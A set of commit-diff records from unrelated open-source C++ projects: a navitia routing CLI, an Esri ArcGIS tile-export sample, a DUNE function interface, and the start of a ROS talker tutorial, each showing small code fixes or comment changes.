\"type\/data.h\"\n#include \"utils\/timer.h\"\n#include \"type\/response.pb.h\"\n#include \"routing_cli_utils.h\"\n#include \"ptreferential\/ptreferential_api.h\"\n#include <boost\/program_options.hpp>\n#include <boost\/algorithm\/string.hpp>\n#include \"type\/pb_converter.h\"\n\nnamespace nr = navitia::routing;\nnamespace nt = navitia::type;\nnamespace bt = boost::posix_time;\nnamespace po = boost::program_options ;\nnamespace pb = pbnavitia;\n\nvoid completion(const char *buf, linenoiseCompletions *lc) {\n if (buf[0] == 'j' || buf[0] == '\\0') {\n linenoiseAddCompletion(lc,\"journey\");\n }\n if (buf[0] == 'p' || buf[0] == '\\0') {\n linenoiseAddCompletion(lc,\"ptref\");\n } \n}\n\nint main(int argc, char **argv) {\n if (argc < 2) {\n std::cerr << \"A filename is needed\" << std::endl;\n return 1;\n }\n std::string start, target, date;\n nt::Data data;\n data.load(std::string(argv[1]));\n navitia::cli::compute_options compute_opt;\n po::variables_map vm;\n char *line;\n\n nr::RAPTOR raptor(data);\n \/* Parse options, with --multiline we enable multi line editing. *\/\n linenoiseSetCompletionCallback(completion);\n linenoiseHistoryLoad(\"history.txt\"); \/* Load the history at startup *\/\n while((line = linenoise(\"hello> \")) != NULL) {\n linenoiseHistoryAdd(line);\n linenoiseHistorySave(\"history.txt\");\n std::string str_line(line);\n auto splitted_line = po::split_unix(str_line);\n if (splitted_line.empty()) {\n continue;\n }\n if (splitted_line[0] == \"journey\") {\n po::store(po::command_line_parser(splitted_line).options(compute_opt.desc).run(), vm);\n po::notify(vm);\n compute_opt.compute(vm, raptor);\n } else if (splitted_line[0] == \"ptref\") {\n if (splitted_line.size() < 2) {\n std::cerr << \"an ID is needed\" << std::endl;\n }\n const std::string id = splitted_line[1];\n #define SHOW_ID_CLI(type_name, collection_name) \\\n auto collection_name##_map = data.pt_data->collection_name##_map;\\\n if ( collection_name##_map.find(id) != collection_name##_map.end()) {\\\n pbnavitia::type_name p;\\\n navitia::fill_pb_object(collection_name##_map.at(id), data, &p);\\\n std::cout << p.DebugString() << std::endl;}\n ITERATE_NAVITIA_PT_TYPES(SHOW_ID_CLI)\n }\n }\n return 0;\n}\n<commit_msg>Cli: add comment<commit_after>#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include \"linenoise\/linenoise.h\"\n#include \"raptor.h\"\n#include \"routing\/raptor_api.h\"\n#include \"type\/data.h\"\n#include \"utils\/timer.h\"\n#include \"type\/response.pb.h\"\n#include \"routing_cli_utils.h\"\n#include \"ptreferential\/ptreferential_api.h\"\n#include <boost\/program_options.hpp>\n#include <boost\/algorithm\/string.hpp>\n#include \"type\/pb_converter.h\"\n\nnamespace nr = navitia::routing;\nnamespace nt = navitia::type;\nnamespace bt = boost::posix_time;\nnamespace po = boost::program_options ;\nnamespace pb = pbnavitia;\n\nvoid completion(const char *buf, linenoiseCompletions *lc) {\n if (buf[0] == 'j' || buf[0] == '\\0') {\n linenoiseAddCompletion(lc,\"journey\");\n }\n if (buf[0] == 'p' || buf[0] == '\\0') {\n linenoiseAddCompletion(lc,\"ptref\");\n } \n}\n\/* This program takes a path to a nav.lz4 navitia's file\n * It will be loaded at the begginning of the program\n *\/\nint main(int argc, char **argv) {\n if (argc < 2) {\n std::cerr << \"A filename is needed\" << std::endl;\n return 1;\n }\n std::string start, target, date;\n nt::Data data;\n data.load(std::string(argv[1]));\n navitia::cli::compute_options compute_opt;\n po::variables_map vm;\n char *line;\n\n nr::RAPTOR raptor(data);\n \/* Parse options, with --multiline we enable multi line editing. *\/\n linenoiseSetCompletionCallback(completion);\n linenoiseHistoryLoad(\"history.txt\"); \/* Load the history at startup *\/\n while((line = linenoise(\"hello> \")) != NULL) {\n linenoiseHistoryAdd(line);\n linenoiseHistorySave(\"history.txt\");\n std::string str_line(line);\n auto splitted_line = po::split_unix(str_line);\n if (splitted_line.empty()) {\n continue;\n }\n if (splitted_line[0] == \"journey\") {\n po::store(po::command_line_parser(splitted_line).options(compute_opt.desc).run(), vm);\n po::notify(vm);\n compute_opt.compute(vm, raptor);\n } else if (splitted_line[0] == \"ptref\") {\n if (splitted_line.size() < 2) {\n std::cerr << \"an ID is needed\" << std::endl;\n }\n const std::string id = splitted_line[1];\n #define SHOW_ID_CLI(type_name, collection_name) \\\n auto collection_name##_map = data.pt_data->collection_name##_map;\\\n if ( collection_name##_map.find(id) != collection_name##_map.end()) {\\\n pbnavitia::type_name p;\\\n navitia::fill_pb_object(collection_name##_map.at(id), data, &p);\\\n std::cout << p.DebugString() << std::endl;}\n ITERATE_NAVITIA_PT_TYPES(SHOW_ID_CLI)\n }\n }\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before><commit_msg>coverity#1130457 Uncaught exception<commit_after><|endoftext|>"} {"text":"<commit_before>\/\/ [WriteFile Name=ExportTiles, Category=Layers]\n\/\/ [Legal]\n\/\/ Copyright 2016 Esri.\n\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/ [Legal]\n\n#include \"ExportTiles.h\"\n\n#include <QUrl>\n\n#include \"Map.h\"\n#include \"MapQuickView.h\"\n#include \"Basemap.h\"\n#include \"ExportTiles.h\"\n#include \"ArcGISTiledLayer.h\"\n#include \"ExportTileCacheTask.h\"\n#include \"Envelope.h\"\n#include \"GeometryEngine.h\"\n#include \"SpatialReference.h\"\n#include \"TileCache.h\"\n\nusing namespace Esri::ArcGISRuntime;\n\nExportTiles::ExportTiles(QQuickItem* parent) :\n QQuickItem(parent),\n m_map(nullptr),\n m_mapView(nullptr),\n m_serviceUrl(\"http:\/\/sampleserver6.arcgisonline.com\/arcgis\/rest\/services\/World_Street_Map\/MapServer\"),\n m_exportTileCacheTask(nullptr)\n{\n}\n\nExportTiles::~ExportTiles()\n{\n}\n\nvoid ExportTiles::componentComplete()\n{\n QQuickItem::componentComplete();\n\n \/\/ find QML MapView component\n m_mapView = findChild<MapQuickView*>(\"mapView\");\n\n \/\/ create a tiled basemap\n ArcGISTiledLayer* tiledLayer = new ArcGISTiledLayer(m_serviceUrl);\n Basemap* basemap = new Basemap(tiledLayer, this);\n\n \/\/ create a new map instance\n m_map = new Map(basemap, this);\n\n \/\/ set an initial viewpoint\n Envelope env(12362601, 936021, 10187678, 2567213, SpatialReference(3857));\n Viewpoint viewpoint(env);\n m_map->setInitialViewpoint(viewpoint);\n\n \/\/ set map on the map view\n m_mapView->setMap(m_map);\n\n \/\/ create the task from the tiled layer's map service info once it is loaded\n connect(tiledLayer, &ArcGISTiledLayer::doneLoading, [this, tiledLayer](Error)\n {\n m_exportTileCacheTask = new ExportTileCacheTask(tiledLayer->mapServiceInfo(), this);\n });\n}\n\nvoid ExportTiles::exportTileCacheFromCorners(double xCorner1, double yCorner1, double xCorner2, double yCorner2, QString dataPath)\n{\n \/\/ create an envelope from the QML rectangle corners\n auto corner1 = m_mapView->screenToLocation(xCorner1, yCorner1);\n auto corner2 = m_mapView->screenToLocation(xCorner2, yCorner2);\n auto extent = Envelope(corner1, corner2);\n auto tileCacheExtent = GeometryEngine::project(extent, SpatialReference::webMercator());\n\n \/\/ connect to sync task doneLoading signal\n connect(m_exportTileCacheTask, &ExportTileCacheTask::defaultExportTileCacheParametersCompleted, [this, &dataPath](QUuid, ExportTileCacheParameters parameters)\n {\n m_parameters = parameters;\n\n \/\/ execute the task and obtain the job\n auto exportJob = m_exportTileCacheTask->exportTileCache(m_parameters, dataPath);\n\n \/\/ check if there is a valid job\n if (exportJob)\n {\n \/\/ connect to the job's status changed signal\n connect(exportJob, &ExportTileCacheJob::jobStatusChanged, [this, exportJob]()\n {\n \/\/ connect to the job's status changed signal to know once it is done\n switch (exportJob->jobStatus()) {\n case JobStatus::Failed:\n emit updateStatus(\"Export failed\");\n emit hideWindow(5000, false);\n break;\n case JobStatus::NotStarted:\n emit updateStatus(\"Job not started\");\n break;\n case JobStatus::Paused:\n emit updateStatus(\"Job paused\");\n break;\n case JobStatus::Started:\n emit updateStatus(\"In progress...\");\n break;\n case JobStatus::Succeeded:\n emit updateStatus(\"Adding TPK...\");\n emit hideWindow(1500, true);\n displayOutputTileCache(exportJob->result());\n break;\n default:\n break;\n }\n });\n\n \/\/ start the export job\n exportJob->start();\n }\n else\n {\n emit updateStatus(\"Export failed\");\n emit hideWindow(5000, false);\n }\n });\n \/\/ generate parameters\n m_exportTileCacheTask->createDefaultExportTileCacheParameters(tileCacheExtent, m_mapView->mapScale(), m_exportTileCacheTask->mapServiceInfo().maxScale());\n\n}\n\n\/\/ display the tile cache once the task is complete\nvoid ExportTiles::displayOutputTileCache(TileCache* tileCache)\n{\n \/\/ create a new tiled layer from the output tile cache\n auto tiledLayer = new ArcGISTiledLayer(tileCache, this);\n\n \/\/ add the new layer to a basemap\n auto basemap = new Basemap(tiledLayer, this);\n\n \/\/ set the new basemap on the map\n m_map->setBasemap(basemap);\n\n \/\/ zoom to the new layer and hide window once loaded\n connect(tiledLayer, &ArcGISTiledLayer::doneLoading, [this, tiledLayer]()\n {\n if (tiledLayer->loadStatus() == LoadStatus::Loaded)\n {\n m_mapView->setViewpointScale(m_mapView->mapScale() * 0.5);\n }\n });\n}\n<commit_msg>Fix ExportTiles connection to take by val<commit_after>\/\/ [WriteFile Name=ExportTiles, Category=Layers]\n\/\/ [Legal]\n\/\/ Copyright 2016 Esri.\n\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/ [Legal]\n\n#include \"ExportTiles.h\"\n\n#include <QUrl>\n\n#include \"Map.h\"\n#include \"MapQuickView.h\"\n#include \"Basemap.h\"\n#include \"ExportTiles.h\"\n#include \"ArcGISTiledLayer.h\"\n#include \"ExportTileCacheTask.h\"\n#include \"Envelope.h\"\n#include \"GeometryEngine.h\"\n#include \"SpatialReference.h\"\n#include \"TileCache.h\"\n\nusing namespace Esri::ArcGISRuntime;\n\nExportTiles::ExportTiles(QQuickItem* parent) :\n QQuickItem(parent),\n m_map(nullptr),\n m_mapView(nullptr),\n m_serviceUrl(\"http:\/\/sampleserver6.arcgisonline.com\/arcgis\/rest\/services\/World_Street_Map\/MapServer\"),\n m_exportTileCacheTask(nullptr)\n{\n}\n\nExportTiles::~ExportTiles()\n{\n}\n\nvoid ExportTiles::componentComplete()\n{\n QQuickItem::componentComplete();\n\n \/\/ find QML MapView component\n m_mapView = findChild<MapQuickView*>(\"mapView\");\n\n \/\/ create a tiled basemap\n ArcGISTiledLayer* tiledLayer = new ArcGISTiledLayer(m_serviceUrl);\n Basemap* basemap = new Basemap(tiledLayer, this);\n\n \/\/ create a new map instance\n m_map = new Map(basemap, this);\n\n \/\/ set an initial viewpoint\n Envelope env(12362601, 936021, 10187678, 2567213, SpatialReference(3857));\n Viewpoint viewpoint(env);\n m_map->setInitialViewpoint(viewpoint);\n\n \/\/ set map on the map view\n m_mapView->setMap(m_map);\n\n \/\/ create the task from the tiled layer's map service info once it is loaded\n connect(tiledLayer, &ArcGISTiledLayer::doneLoading, [this, tiledLayer](Error)\n {\n m_exportTileCacheTask = new ExportTileCacheTask(tiledLayer->mapServiceInfo(), this);\n });\n}\n\nvoid ExportTiles::exportTileCacheFromCorners(double xCorner1, double yCorner1, double xCorner2, double yCorner2, QString dataPath)\n{\n \/\/ create an envelope from the QML rectangle corners\n auto corner1 = m_mapView->screenToLocation(xCorner1, yCorner1);\n auto corner2 = m_mapView->screenToLocation(xCorner2, yCorner2);\n auto extent = Envelope(corner1, corner2);\n auto tileCacheExtent = GeometryEngine::project(extent, SpatialReference::webMercator());\n\n \/\/ connect to sync task doneLoading signal\n connect(m_exportTileCacheTask, &ExportTileCacheTask::defaultExportTileCacheParametersCompleted, [this, dataPath](QUuid, ExportTileCacheParameters parameters)\n {\n m_parameters = parameters;\n\n \/\/ execute the task and obtain the job\n auto exportJob = m_exportTileCacheTask->exportTileCache(m_parameters, dataPath);\n\n \/\/ check if there is a valid job\n if (exportJob)\n {\n \/\/ connect to the job's status changed signal\n connect(exportJob, &ExportTileCacheJob::jobStatusChanged, [this, exportJob]()\n {\n \/\/ connect to the job's status changed signal to know once it is done\n switch (exportJob->jobStatus()) {\n case JobStatus::Failed:\n emit updateStatus(\"Export failed\");\n emit hideWindow(5000, false);\n break;\n case JobStatus::NotStarted:\n emit updateStatus(\"Job not started\");\n break;\n case JobStatus::Paused:\n emit updateStatus(\"Job paused\");\n break;\n case JobStatus::Started:\n emit updateStatus(\"In progress...\");\n break;\n case JobStatus::Succeeded:\n emit updateStatus(\"Adding TPK...\");\n emit hideWindow(1500, true);\n displayOutputTileCache(exportJob->result());\n break;\n default:\n break;\n }\n });\n\n \/\/ start the export job\n exportJob->start();\n }\n else\n {\n emit updateStatus(\"Export failed\");\n emit hideWindow(5000, false);\n }\n });\n \/\/ generate parameters\n m_exportTileCacheTask->createDefaultExportTileCacheParameters(tileCacheExtent, m_mapView->mapScale(), m_exportTileCacheTask->mapServiceInfo().maxScale());\n\n}\n\n\/\/ display the tile cache once the task is complete\nvoid ExportTiles::displayOutputTileCache(TileCache* tileCache)\n{\n \/\/ create a new tiled layer from the output tile cache\n auto tiledLayer = new ArcGISTiledLayer(tileCache, this);\n\n \/\/ add the new layer to a basemap\n auto basemap = new Basemap(tiledLayer, this);\n\n \/\/ set the new basemap on the map\n m_map->setBasemap(basemap);\n\n \/\/ zoom to the new layer and hide window once loaded\n connect(tiledLayer, &ArcGISTiledLayer::doneLoading, [this, tiledLayer]()\n {\n if (tiledLayer->loadStatus() == LoadStatus::Loaded)\n {\n m_mapView->setViewpointScale(m_mapView->mapScale() * 0.5);\n }\n });\n}\n<|endoftext|>"} {"text":"<commit_before>#ifndef DUNE_STUFF_FUNCTION_INTERFACE_HH\n#define DUNE_STUFF_FUNCTION_INTERFACE_HH\n\n#ifdef HAVE_CMAKE_CONFIG\n #include \"cmake_config.h\"\n#elif defined (HAVE_CONFIG_H)\n #include <config.h>\n#endif \/\/ ifdef HAVE_CMAKE_CONFIG\n\n#include <vector>\n\n#include <dune\/common\/shared_ptr.hh>\n#include <dune\/common\/fvector.hh>\n#include <dune\/common\/dynvector.hh>\n#include <dune\/common\/function.hh>\n\n#include <dune\/stuff\/common\/color.hh>\n#include <dune\/stuff\/common\/parameter.hh>\n\nnamespace Dune {\nnamespace Stuff {\nnamespace Function {\n\n\n\/\/! forward\ntemplate< class RangeFieldImp >\nclass Coefficient;\n\n\ntemplate< class DomainFieldImp, int domainDim, class RangeFieldImp, int rangeDim >\nclass Interface\n{\npublic:\n typedef Interface< DomainFieldImp, domainDim, RangeFieldImp, rangeDim > ThisType;\n\n typedef DomainFieldImp DomainFieldType;\n static const int dimDomain = domainDim;\n typedef Dune::FieldVector< DomainFieldType, dimDomain > DomainType;\n\n typedef RangeFieldImp RangeFieldType;\n static const int dimRange = rangeDim;\n typedef Dune::FieldVector< RangeFieldType, dimRange > RangeType;\n\n typedef Common::Parameter::FieldType ParamFieldType;\n static const int maxParamDim = Common::Parameter::maxDim;\n typedef Common::Parameter::Type ParamType;\n\n typedef ThisType ComponentType;\n typedef Coefficient< RangeFieldType > CoefficientType;\n\n static const std::string id()\n {\n return \"function\";\n }\n\n \/** \\defgroup type ´´Theis method has to be implemented for parametric functions and determines,\n * which evaluate() is callable.''\n *\/\n \/* @{ *\/\n virtual bool parametric() const\n {\n return false;\n }\n \/* @} *\/\n\n \/** \\defgroup info ´´These methods should be implemented in order to identify the function.'' *\/\n \/* @{ *\/\n virtual std::string name() const\n {\n return id();\n }\n\n virtual int order() const\n {\n return -1;\n }\n \/* @} *\/\n\n \/** \\defgroup nonparametric-must ´´These methods have to be implemented, if parametric() == false.'' *\/\n \/* @{ *\/\n virtual void evaluate(const DomainType& \/*_x*\/, RangeType& \/*_ret*\/) const\n {\n DUNE_THROW(Dune::NotImplemented,\n \"\\n\" << Dune::Stuff::Common::colorStringRed(\"ERROR:\") << \" implement me if parametric() == false!\");\n }\n \/* @} *\/\n\n \/** \\defgroup parametric-must ´´These methods have to be implemented, if parametric() == true.'' *\/\n \/* @{ *\/\n virtual void evaluate(const DomainType& \/*_x*\/, const ParamType& \/*_mu*\/, RangeType& \/*_ret*\/) const\n {\n DUNE_THROW(Dune::NotImplemented,\n \"\\n\" << Dune::Stuff::Common::colorStringRed(\"ERROR:\") << \" implement me if parametric() == true!\");\n }\n\n virtual size_t paramSize() const\n {\n DUNE_THROW(Dune::NotImplemented,\n \"\\n\" << Dune::Stuff::Common::colorStringRed(\"ERROR:\") << \" implement me if parametric() == true!\");\n }\n\n virtual const std::vector< ParamType >& paramRange() const\n {\n DUNE_THROW(Dune::NotImplemented,\n \"\\n\" << Dune::Stuff::Common::colorStringRed(\"ERROR:\") << \" implement me if parametric() == true!\");\n }\n\n virtual const std::vector< std::string >& paramExplanation() const\n {\n DUNE_THROW(Dune::NotImplemented,\n \"\\n\" << Dune::Stuff::Common::colorStringRed(\"ERROR:\") << \" implement me if parametric() == true!\");\n }\n\n virtual bool separable() const\n {\n return false;\n }\n \/* @} *\/\n\n \/** \\defgroup separable ´´These methods have to be implemented, if separable() == true.'' *\/\n \/* @{ *\/\n virtual size_t numComponents() const\n {\n DUNE_THROW(Dune::NotImplemented,\n \"\\n\" << Dune::Stuff::Common::colorStringRed(\"ERROR:\") << \" implement me if separable() == true!\");\n }\n\n virtual const std::vector< Dune::shared_ptr< const ComponentType > >& components() const\n {\n DUNE_THROW(Dune::NotImplemented,\n \"\\n\" << Dune::Stuff::Common::colorStringRed(\"ERROR:\") << \" implement me if separable() == true!\");\n }\n\n virtual size_t numCoefficients() const\n {\n DUNE_THROW(Dune::NotImplemented,\n \"\\n\" << Dune::Stuff::Common::colorStringRed(\"ERROR:\") << \" implement me if separable() == true!\");\n }\n\n virtual const std::vector< Dune::shared_ptr< const CoefficientType > >& coefficients() const\n {\n DUNE_THROW(Dune::NotImplemented,\n \"\\n\" << Dune::Stuff::Common::colorStringRed(\"ERROR:\") << \" implement me if separable() == true!\");\n }\n \/* @} *\/\n\n \/** \\defgroup provided ´´These methods are provided by the interface itself, but may not be implemented optimal.'' *\/\n \/* @{ *\/\n virtual RangeType evaluate(const DomainType& _x) const\n {\n assert(!parametric());\n RangeType ret;\n evaluate(_x, ret);\n return ret;\n }\n\n\/\/ virtual RangeType evaluate(const DomainType& x, const ParamType& mu) const\n\/\/ {\n\/\/ RangeType ret;\n\/\/ evaluate(x, mu, ret);\n\/\/ return ret;\n\/\/ }\n\n\/\/ virtual void evaluate(const ParamType& x, const ParamType& mu, RangeType& ret) const\n\/\/ {\n\/\/ \/\/ process input\n\/\/ assert(x.size() == dimDomain);\n\/\/ DomainType x_fvector;\n\/\/ for (int i = 0; i < dimDomain; ++i)\n\/\/ x_fvector[i] = x(i);\n\/\/ \/\/ evaluate\n\/\/ evaluate(x_fvector, mu, ret);\n\/\/ }\n\n\/\/ virtual void evaluate(const DomainType& x, const ParamType& mu, ParamType& ret) const\n\/\/ {\n\/\/ \/\/ evaluate\n\/\/ RangeType ret_fvector;\n\/\/ evaluate(x, mu, ret_fvector);\n\/\/ \/\/ process output\n\/\/ assert(ret.size() == dimRange);\n\/\/ for (int i = 0; i < dimRange; ++i)\n\/\/ ret(i) = ret_fvector[i];\n\/\/ }\n\n\/\/ virtual void evaluate(const ParamType& x, const ParamType& mu, ParamType& ret) const\n\/\/ {\n\/\/ \/\/ process input\n\/\/ assert(x.size() == dimDomain);\n\/\/ DomainType x_fvector;\n\/\/ for (int i = 0; i < dimDomain; ++i)\n\/\/ x_fvector[i] = x(i);\n\/\/ \/\/ evaluate\n\/\/ RangeType ret_fvector;\n\/\/ evaluate(x_fvector, mu, ret_fvector);\n\/\/ \/\/ process output\n\/\/ assert(ret.size() == dimRange);\n\/\/ for (int i = 0; i < dimRange; ++i)\n\/\/ ret(i) = ret_fvector[i];\n\/\/ }\n\n\/\/ virtual ParamType evaluate(const ParamType& x, const ParamType& mu) const\n\/\/ {\n\/\/ ParamType ret;\n\/\/ evaluate(x, mu, ret);\n\/\/ return ret;\n\/\/ }\n\n\/\/ void report(std::ostream& out = std::cout, std::string prefix = \"\") const\n\/\/ {\n\/\/ out << prefix << \"parameter explanation:\" << std::endl;\n\/\/ assert(paramExplanation().size() == paramSize());\n\/\/ assert(paramRange().size() == 2);\n\/\/ assert(paramRange()[0].size() == paramSize());\n\/\/ assert(paramRange()[1].size() == paramSize());\n\/\/ for (unsigned int pp = 0; pp < paramSize(); ++pp)\n\/\/ out << prefix << \" \" << paramExplanation()[pp] << \", between \" << paramRange()[0](pp) << \" and \" << paramRange()[1](pp) << std::endl;\n\/\/ }\n\/* @} *\/\n}; \/\/ class Interface\n\n} \/\/ namespace Function\n} \/\/ namespace Stuff\n} \/\/ namespace Dune\n\n#endif \/\/ DUNE_STUFF_FUNCTION_INTERFACE_HH\n<commit_msg>[function.interface] paramSize() returns 0 in the nonparametric case<commit_after>#ifndef DUNE_STUFF_FUNCTION_INTERFACE_HH\n#define DUNE_STUFF_FUNCTION_INTERFACE_HH\n\n#ifdef HAVE_CMAKE_CONFIG\n #include \"cmake_config.h\"\n#elif defined (HAVE_CONFIG_H)\n #include <config.h>\n#endif \/\/ ifdef HAVE_CMAKE_CONFIG\n\n#include <vector>\n\n#include <dune\/common\/shared_ptr.hh>\n#include <dune\/common\/fvector.hh>\n#include <dune\/common\/dynvector.hh>\n#include <dune\/common\/function.hh>\n\n#include <dune\/stuff\/common\/color.hh>\n#include <dune\/stuff\/common\/parameter.hh>\n\nnamespace Dune {\nnamespace Stuff {\nnamespace Function {\n\n\n\/\/! forward\ntemplate< class RangeFieldImp >\nclass Coefficient;\n\n\ntemplate< class DomainFieldImp, int domainDim, class RangeFieldImp, int rangeDim >\nclass Interface\n{\npublic:\n typedef Interface< DomainFieldImp, domainDim, RangeFieldImp, rangeDim > ThisType;\n\n typedef DomainFieldImp DomainFieldType;\n static const int dimDomain = domainDim;\n typedef Dune::FieldVector< DomainFieldType, dimDomain > DomainType;\n\n typedef RangeFieldImp RangeFieldType;\n static const int dimRange = rangeDim;\n typedef Dune::FieldVector< RangeFieldType, dimRange > RangeType;\n\n typedef Common::Parameter::FieldType ParamFieldType;\n static const int maxParamDim = Common::Parameter::maxDim;\n typedef Common::Parameter::Type ParamType;\n\n typedef ThisType ComponentType;\n typedef Coefficient< RangeFieldType > CoefficientType;\n\n static const std::string id()\n {\n return \"function\";\n }\n\n \/** \\defgroup type ´´Theis method has to be implemented for parametric functions and determines,\n * which evaluate() is callable.''\n *\/\n \/* @{ *\/\n virtual bool parametric() const\n {\n return false;\n }\n \/* @} *\/\n\n \/** \\defgroup info ´´These methods should be implemented in order to identify the function.'' *\/\n \/* @{ *\/\n virtual std::string name() const\n {\n return id();\n }\n\n virtual int order() const\n {\n return -1;\n }\n \/* @} *\/\n\n \/** \\defgroup nonparametric-must ´´These methods have to be implemented, if parametric() == false.'' *\/\n \/* @{ *\/\n virtual void evaluate(const DomainType& \/*_x*\/, RangeType& \/*_ret*\/) const\n {\n DUNE_THROW(Dune::NotImplemented,\n \"\\n\" << Dune::Stuff::Common::colorStringRed(\"ERROR:\") << \" implement me if parametric() == false!\");\n }\n \/* @} *\/\n\n \/** \\defgroup parametric-must ´´These methods have to be implemented, if parametric() == true.'' *\/\n \/* @{ *\/\n virtual void evaluate(const DomainType& \/*_x*\/, const ParamType& \/*_mu*\/, RangeType& \/*_ret*\/) const\n {\n DUNE_THROW(Dune::NotImplemented,\n \"\\n\" << Dune::Stuff::Common::colorStringRed(\"ERROR:\") << \" implement me if parametric() == true!\");\n }\n\n virtual size_t paramSize() const\n {\n if (!parametric())\n return 0;\n else\n DUNE_THROW(Dune::NotImplemented,\n \"\\n\" << Dune::Stuff::Common::colorStringRed(\"ERROR:\") << \" implement me if parametric() == true!\");\n }\n\n virtual const std::vector< ParamType >& paramRange() const\n {\n DUNE_THROW(Dune::NotImplemented,\n \"\\n\" << Dune::Stuff::Common::colorStringRed(\"ERROR:\") << \" implement me if parametric() == true!\");\n }\n\n virtual const std::vector< std::string >& paramExplanation() const\n {\n DUNE_THROW(Dune::NotImplemented,\n \"\\n\" << Dune::Stuff::Common::colorStringRed(\"ERROR:\") << \" implement me if parametric() == true!\");\n }\n\n virtual bool separable() const\n {\n return false;\n }\n \/* @} *\/\n\n \/** \\defgroup separable ´´These methods have to be implemented, if separable() == true.'' *\/\n \/* @{ *\/\n virtual size_t numComponents() const\n {\n DUNE_THROW(Dune::NotImplemented,\n \"\\n\" << Dune::Stuff::Common::colorStringRed(\"ERROR:\") << \" implement me if separable() == true!\");\n }\n\n virtual const std::vector< Dune::shared_ptr< const ComponentType > >& components() const\n {\n DUNE_THROW(Dune::NotImplemented,\n \"\\n\" << Dune::Stuff::Common::colorStringRed(\"ERROR:\") << \" implement me if separable() == true!\");\n }\n\n virtual size_t numCoefficients() const\n {\n DUNE_THROW(Dune::NotImplemented,\n \"\\n\" << Dune::Stuff::Common::colorStringRed(\"ERROR:\") << \" implement me if separable() == true!\");\n }\n\n virtual const std::vector< Dune::shared_ptr< const CoefficientType > >& coefficients() const\n {\n DUNE_THROW(Dune::NotImplemented,\n \"\\n\" << Dune::Stuff::Common::colorStringRed(\"ERROR:\") << \" implement me if separable() == true!\");\n }\n \/* @} *\/\n\n \/** \\defgroup provided ´´These methods are provided by the interface itself, but may not be implemented optimal.'' *\/\n \/* @{ *\/\n virtual RangeType evaluate(const DomainType& _x) const\n {\n assert(!parametric());\n RangeType ret;\n evaluate(_x, ret);\n return ret;\n }\n\n\/\/ virtual RangeType evaluate(const DomainType& x, const ParamType& mu) const\n\/\/ {\n\/\/ RangeType ret;\n\/\/ evaluate(x, mu, ret);\n\/\/ return ret;\n\/\/ }\n\n\/\/ virtual void evaluate(const ParamType& x, const ParamType& mu, RangeType& ret) const\n\/\/ {\n\/\/ \/\/ process input\n\/\/ assert(x.size() == dimDomain);\n\/\/ DomainType x_fvector;\n\/\/ for (int i = 0; i < dimDomain; ++i)\n\/\/ x_fvector[i] = x(i);\n\/\/ \/\/ evaluate\n\/\/ evaluate(x_fvector, mu, ret);\n\/\/ }\n\n\/\/ virtual void evaluate(const DomainType& x, const ParamType& mu, ParamType& ret) const\n\/\/ {\n\/\/ \/\/ evaluate\n\/\/ RangeType ret_fvector;\n\/\/ evaluate(x, mu, ret_fvector);\n\/\/ \/\/ process output\n\/\/ assert(ret.size() == dimRange);\n\/\/ for (int i = 0; i < dimRange; ++i)\n\/\/ ret(i) = ret_fvector[i];\n\/\/ }\n\n\/\/ virtual void evaluate(const ParamType& x, const ParamType& mu, ParamType& ret) const\n\/\/ {\n\/\/ \/\/ process input\n\/\/ assert(x.size() == dimDomain);\n\/\/ DomainType x_fvector;\n\/\/ for (int i = 0; i < dimDomain; ++i)\n\/\/ x_fvector[i] = x(i);\n\/\/ \/\/ evaluate\n\/\/ RangeType ret_fvector;\n\/\/ evaluate(x_fvector, mu, ret_fvector);\n\/\/ \/\/ process output\n\/\/ assert(ret.size() == dimRange);\n\/\/ for (int i = 0; i < dimRange; ++i)\n\/\/ ret(i) = ret_fvector[i];\n\/\/ }\n\n\/\/ virtual ParamType evaluate(const ParamType& x, const ParamType& mu) const\n\/\/ {\n\/\/ ParamType ret;\n\/\/ evaluate(x, mu, ret);\n\/\/ return ret;\n\/\/ }\n\n\/\/ void report(std::ostream& out = std::cout, std::string prefix = \"\") const\n\/\/ {\n\/\/ out << prefix << \"parameter explanation:\" << std::endl;\n\/\/ assert(paramExplanation().size() == paramSize());\n\/\/ assert(paramRange().size() == 2);\n\/\/ assert(paramRange()[0].size() == paramSize());\n\/\/ assert(paramRange()[1].size() == paramSize());\n\/\/ for (unsigned int pp = 0; pp < paramSize(); ++pp)\n\/\/ out << prefix << \" \" << paramExplanation()[pp] << \", between \" << paramRange()[0](pp) << \" and \" << paramRange()[1](pp) << std::endl;\n\/\/ }\n\/* @} *\/\n}; \/\/ class Interface\n\n} \/\/ namespace Function\n} \/\/ namespace Stuff\n} \/\/ namespace Dune\n\n#endif \/\/ DUNE_STUFF_FUNCTION_INTERFACE_HH\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright 2017 Christian *\/\n\n#include <sstream>\n#include \"ros\/ros.h\"\n#include \"std_msgs\/String.h\"\n\n\/**\n * This tutorial demonstrates simple sending of messages over the ROS system.\n *\/\nint main(int argc, char **argv) {\n \/**\n * The ros::init() function needs to see argc and argv so that it can perform\n * any ROS arguments and name remapping that were provided at the command line.\n * For programmatic remappings you can use a different version of init() which takes\n * remappings directly, but for most command-line programs, passing argc and argv is\n * the easiest way to do it. The third argument to init() is the name of the node.\n *\n * You must call one of the versions of ros::init() before using any other\n * part of the ROS system.\n *\/\n ros::init(argc, argv, \"talker\");\n\n \/**\n * NodeHandle is the main access point to communications with the ROS system.\n * The first NodeHandle constructed will fully initialize this node, and the last\n * NodeHandle destructed will close down the node.\n *\/\n ros::NodeHandle n;\n\n \/**\n 